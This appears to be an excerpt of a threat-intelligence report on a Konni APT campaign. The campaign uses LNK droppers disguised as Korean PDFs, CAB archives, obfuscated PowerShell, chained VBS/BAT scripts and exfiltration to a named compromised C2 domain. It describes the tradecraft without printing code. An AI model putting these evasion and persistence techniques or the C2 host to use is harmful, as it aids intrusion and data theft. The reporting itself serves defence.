  • LNK shortcut droppers, CAB file archives, and obfuscated PowerShell loaders—Konni APT’s toolkit is like a predictable recipe. The LNK dropper is their go-to for delivering the initial payload. From there, the CAB files and PowerShell scripts take over, keeping things under wraps and hard to track. This isn’t new; we’ve seen these tools in previous Konni campaigns, which makes it clear this is more of the same from them.
  • Chained Execution via VBS and BAT scripts: This isn’t some one-and-done attack. This is a multi-stage, complex operation. The attackers are spreading the payload across several layers of scripts, which is Konni APT’s bread and butter. Each script moves the attack forward slowly, ensuring that it stays hidden and doesn’t get flagged too quickly.
  • Fileless or semi-persistent execution: They’re executing the payload from system folders like C:\Users\Public\Documents, steering clear of the usual locations where security tools are looking. This is how Konni stays under the radar—if the payload doesn’t hit a flagged location, it keeps running, even after a reboot. It’s all about making the attack harder to catch.

Infrastructure Hijacking: Konni’s Signature Move

  • The C2 infrastructure used in this campaign? Directly linked to Konni APT. SecAI confirmed this. Hijacking legitimate infrastructure is a classic Konni tactic. They repurpose trusted networks to run their malicious activities under the radar, which is exactly what happened here.
  • The legitimate host in question was hijacked for C2 communication, and SecAI made it clear that the infrastructure was used by Konni APT. (For more details, check this link: SecAI Report).

Executive Summary

This sophisticated malware campaign, likely orchestrated by DPRK’s Konni APT group, was identified in a ZIP archive containing a malicious .lnk file disguised as a Korean-language proposal PDF. First observed on April 11, 2025, the campaign employs advanced social engineering, leveraging trusted South Korean brands (Naver, Coupang, KakaoTalk) to lure victims. The infection chain unfolds through a multi-stage process: the .lnk file triggers obfuscated PowerShell scripts, extracts a decoy PDF and CAB archive, and executes VBS and batch scripts to achieve persistence, data collection, and exfiltration. Key activities include stealing directory listings and system information, uploaded to a compromised C2 server (ausbildungsbuddy.de). The campaign’s TTPs align closely with Konni APT’s playbook, including LNK droppers, chained script execution, and hijacked infrastructure.

References

  1. SecAI. (2025). https://i.secai.ai/research/ausbildungsbuddy.de.
  2. MITRE ATT&CK.https://attack.mitre.org/.
  3. ChatGPT. https://www.chatgpt.com.
  4. VT. https://virustotal.com.